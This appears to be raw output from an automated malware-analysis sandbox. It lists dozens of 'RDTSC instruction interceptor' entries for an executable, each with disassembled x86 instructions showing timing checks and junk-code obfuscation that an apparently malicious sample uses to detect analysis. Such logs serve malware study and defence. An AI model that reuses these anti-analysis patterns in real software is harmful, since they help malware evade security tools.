Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036E2D second address: 1036E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 ja 00007FB47526A2E6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036E43 second address: 1036E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036E47 second address: 1036E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038455 second address: 1038475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752141C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FB4752141B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10386ED second address: 10386F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039697 second address: 103969B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10386F3 second address: 10386F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103969B second address: 103969F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A5F7 second address: 103A5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B512 second address: 103B520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB4752141B6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103969F second address: 10396A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B520 second address: 103B526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10396A5 second address: 10396AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10396AA second address: 10396BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FB4752141B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10396BB second address: 10396BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10396BF second address: 103975F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FB4752141B8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 movzx edi, dx 0x00000025 push dword ptr fs:[00000000h] 0x0000002c mov edi, dword ptr [ebp+122D38F1h] 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov di, 5100h 0x0000003d mov edi, esi 0x0000003f mov eax, dword ptr [ebp+122D012Dh] 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007FB4752141B8h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 0000001Ch 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f mov dword ptr [ebp+122D2723h], ebx 0x00000065 and bh, FFFFFF96h 0x00000068 push FFFFFFFFh 0x0000006a mov edi, dword ptr [ebp+12443F88h] 0x00000070 nop 0x00000071 jmp 00007FB4752141C4h 0x00000076 push eax 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a push edx 0x0000007b pop edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C52D second address: 103C531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C531 second address: 103C535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C535 second address: 103C555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FB47526A2E6h 0x0000000d ja 00007FB47526A2E6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 jns 00007FB47526A2E6h 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B69D second address: 103B719 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB4752141B8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, esi 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov ebx, dword ptr [ebp+122D3691h] 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007FB4752141B8h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 00000015h 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f jmp 00007FB4752141BEh 0x00000044 mov eax, dword ptr [ebp+122D03A5h] 0x0000004a sub bx, DC54h 0x0000004f push FFFFFFFFh 0x00000051 call 00007FB4752141BAh 0x00000056 mov di, ax 0x00000059 pop edi 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FB4752141BEh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B719 second address: 103B71F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C555 second address: 103C5E5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB4752141CDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FB4752141B8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 clc 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007FB4752141B8h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ebp 0x00000047 call 00007FB4752141B8h 0x0000004c pop ebp 0x0000004d mov dword ptr [esp+04h], ebp 0x00000051 add dword ptr [esp+04h], 00000017h 0x00000059 inc ebp 0x0000005a push ebp 0x0000005b ret 0x0000005c pop ebp 0x0000005d ret 0x0000005e mov ebx, dword ptr [ebp+122D3619h] 0x00000064 xchg eax, esi 0x00000065 push ebx 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B71F second address: 103B723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C5E5 second address: 103C5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103D4E9 second address: 103D4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103D4EE second address: 103D504 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4752141BCh 0x00000008 jnl 00007FB4752141B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C7A0 second address: 103C7BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47526A2EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007FB47526A2E6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E615 second address: 103E628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FB4752141B8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E628 second address: 103E6BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47526A2EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FB47526A2E8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007FB47526A2E8h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D2803h], esi 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push ecx 0x0000004b call 00007FB47526A2E8h 0x00000050 pop ecx 0x00000051 mov dword ptr [esp+04h], ecx 0x00000055 add dword ptr [esp+04h], 00000018h 0x0000005d inc ecx 0x0000005e push ecx 0x0000005f ret 0x00000060 pop ecx 0x00000061 ret 0x00000062 mov dword ptr [ebp+122D25CCh], edx 0x00000068 xor dword ptr [ebp+122D2665h], eax 0x0000006e xchg eax, esi 0x0000006f push edi 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FB47526A2EEh 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F662 second address: 103F673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F673 second address: 103F677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F677 second address: 103F67D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10406CE second address: 10406D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10406D6 second address: 104073F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a je 00007FB4752141BCh 0x00000010 and edx, 67488F9Ah 0x00000016 mov di, ax 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FB4752141B8h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov bx, F3C4h 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D232Dh], ecx 0x00000042 xchg eax, esi 0x00000043 jng 00007FB4752141CBh 0x00000049 jmp 00007FB4752141C5h 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104073F second address: 1040743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104177E second address: 10417F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752141C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D18A8h], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FB4752141B8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D3881h] 0x00000034 xchg eax, esi 0x00000035 js 00007FB4752141C6h 0x0000003b jmp 00007FB4752141C0h 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FB4752141C2h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104289E second address: 10428A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F873 second address: 103F88C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752141C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041A5C second address: 1041A71 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007FB47526A2E6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042A40 second address: 1042A4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752141BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042A4E second address: 1042A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042A54 second address: 1042A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042A58 second address: 1042A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042A5C second address: 1042A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FB4752141BBh 0x0000000f jo 00007FB4752141BCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104485E second address: 1044872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB47526A2EFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042B34 second address: 1042B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042B3A second address: 1042B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043A35 second address: 1043A5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752141C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FB4752141BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043A5A second address: 1043A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB47526A2F1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043A73 second address: 1043A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4752141C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043B90 second address: 1043B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046AB3 second address: 1046ABD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB4752141B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046ABD second address: 1046AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045C88 second address: 1045C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046AC3 second address: 1046B47 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB475272196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov bl, F4h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FB475272198h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b call 00007FB4752721A4h 0x00000030 mov dword ptr [ebp+122D2723h], ebx 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FB475272198h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 or dword ptr [ebp+122D2756h], esi 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jns 00007FB47527219Ch 0x00000062 jne 00007FB475272196h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048B7E second address: 1048B95 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB475210802h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046C54 second address: 1046C68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47527219Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046C68 second address: 1046C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A793 second address: 104A7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB47527219Fh 0x00000009 je 00007FB475272196h 0x0000000f jng 00007FB475272196h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046C71 second address: 1046D1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 add dword ptr [ebp+122D22C4h], edx 0x0000000e mov dword ptr [ebp+122D1816h], eax 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov edi, dword ptr [ebp+122D35E5h] 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 mov dword ptr [ebp+122D2270h], edi 0x0000002e mov eax, dword ptr [ebp+122D003Dh] 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007FB4752107F8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e call 00007FB475210804h 0x00000053 or dword ptr [ebp+122D27DCh], edx 0x00000059 pop ebx 0x0000005a push FFFFFFFFh 0x0000005c jp 00007FB4752107F8h 0x00000062 nop 0x00000063 jmp 00007FB475210809h 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FB475210802h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046D1D second address: 1046D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046D23 second address: 1046D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104C022 second address: 104C039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007FB47527219Ch 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105299E second address: 10529C5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB4752107F6h 0x00000008 jmp 00007FB475210808h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10529C5 second address: 10529E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007FB4752721A7h 0x0000000d popad 0x0000000e push esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10529E8 second address: 10529FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB4752107F6h 0x0000000a js 00007FB4752107F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052215 second address: 1052230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752721A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edi 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052357 second address: 1052361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB4752107F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052361 second address: 1052365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052365 second address: 1052398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB475210808h 0x0000000d jbe 00007FB4752107FCh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052398 second address: 105239C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105239C second address: 10523A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB4752107F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052551 second address: 1052565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47527219Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057609 second address: 105760F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105760F second address: 1057613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058993 second address: 10589B8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB4752107F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB475210807h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
